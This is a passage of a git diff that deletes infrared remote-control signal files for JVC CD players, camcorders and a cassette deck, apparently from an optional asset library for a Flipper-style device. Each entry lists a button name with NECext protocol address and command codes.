00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: SRCH_FWD>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: MANUAL_SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 76 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: CONTINUE_(Z) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: PLAY_MODE_CONTINUE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 77 00 00 00 -# -name: DISC_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: DISC_P_(L) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: DISC_P -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: P_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 78 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: DISC_1_(M) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: 1_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 79 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: DISC_2_(N) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: 2_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7A 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: DISC_3_(O) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: 3_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7B 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: DISC_4_(P) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: 4_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7C 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: DISC_5_(Q) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: 5_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7D 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: DISC_6_(R) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: 6_DISC -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 7E 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 86 00 00 00 -# -name: DEL._PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 8A 00 00 00 -# -name: DEL.PRGM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 8A 00 00 00 -# -name: EXCHANGE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 93 00 00 00 -# -name: DISC_BEFORE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir deleted file mode 100644 index 750020370..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir +++ /dev/null @@ -1,878 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: AUTO_SEARCH/CK_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: AUTO_SEARCH/CK_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: POWER_(ON) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: STANDBY_(OFF) -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: DISC_SKIP_>> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: DISC_SKIP_<< -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: DELETE_FILE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: CURSOR/USER_FILE_-> -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: CURSOR/USER_FILE_<- -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: USER_FILE -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 00 00 00 00 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_11 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_12 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_13 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_14 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_15 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_16 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_17 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_18 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_19 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_20 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_21 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_22 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_23 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_24 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: TRACK_25 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 01 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_7 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_8 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_9 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_10 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_11 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_12 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_13 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_14 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_15 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_16 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_17 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_18 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_19 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_20 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_21 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_22 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_23 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_24 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_25 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_26 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_27 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_28 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_29 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_30 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_31 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_32 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_33 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_34 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_35 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_36 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_37 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_38 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_39 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_40 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_41 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_42 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_43 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_44 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_45 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_46 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_47 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_48 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_49 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_50 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_51 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_52 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_53 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_54 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_55 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_56 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_57 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_58 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_59 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_60 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_61 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_62 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_63 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_64 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_65 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_66 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_67 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_68 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_69 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_70 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_71 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_72 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_73 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_74 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_75 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_76 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_77 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_78 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_79 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_80 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_81 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_82 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_83 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_84 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_85 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_86 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_87 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_88 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_89 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_90 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_91 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_92 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_93 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_94 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_95 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_96 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_97 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_98 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_99 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 10 00 00 00 -# -name: DISC_100 -type: parsed -protocol: NECext -address: B3 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir deleted file mode 100644 index 7a16a2660..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHARACTER -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 03 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 0C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 13 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 13 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 22 21 00 00 -command: 18 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir deleted file mode 100644 index f4faccdec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir +++ /dev/null @@ -1,320 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 00 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 03 00 00 00 -# -name: OPEN_/_CLOSE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 04 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 04 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 08 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 15 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 18 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 18 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 19 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 1B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 20 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 21 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 22 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 23 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 24 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 2B 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 2B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 2C 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 30 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 30 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 30 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 31 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 32 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 36 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 36 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 36 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 37 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 46 00 00 00 -# -name: +1_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 46 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 46 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 47 00 00 00 -# -name: -1_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 47 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 47 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 80 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 81 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 82 00 00 00 -# -name: +10_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 82 00 00 00 -# -name: DISC_10+ -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 82 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 83 00 00 00 -# -name: -10_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 83 00 00 00 -# -name: DISC_10- -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 83 00 00 00 -# -name: 1_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 84 00 00 00 -# -name: ONE_DISC -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 84 00 00 00 -# -name: USER_FILE -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 89 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 94 00 00 00 -# -name: DISC_SEARCH -type: parsed -protocol: NECext -address: 22 30 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir deleted file mode 100644 index 4c21e44b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 03 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 05 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 06 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 07 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 0C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 0D 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 2F 00 00 00 -# -name: ZOOM_WIDE -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 51 00 00 00 -# -name: ZOOM_TELE -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 52 00 00 00 -# -name: FADE_/_WIPE -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 58 00 00 00 -# -name: START_/_STOP -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 59 00 00 00 -# -name: EDIT_-_ON_/_OFF -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 67 00 00 00 -# -name: EDIT_-_IN_/_OUT -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 68 00 00 00 -# -name: EDIT_-_CANCEL -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 69 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 97 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 98 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 99 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 9A 00 00 00 -# -name: EFFECT_ON_/_OFF -type: parsed -protocol: NECext -address: D3 00 00 00 -command: B8 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: D3 00 00 00 -command: B9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir deleted file mode 100644 index c8b93f490..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SHIFT_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: SHIFT_FFWD_>> -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: SHIFT_REW_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: SHIFT_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: SHIFT_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: EDIT_-_RECORD_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir deleted file mode 100644 index c7a6143cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# 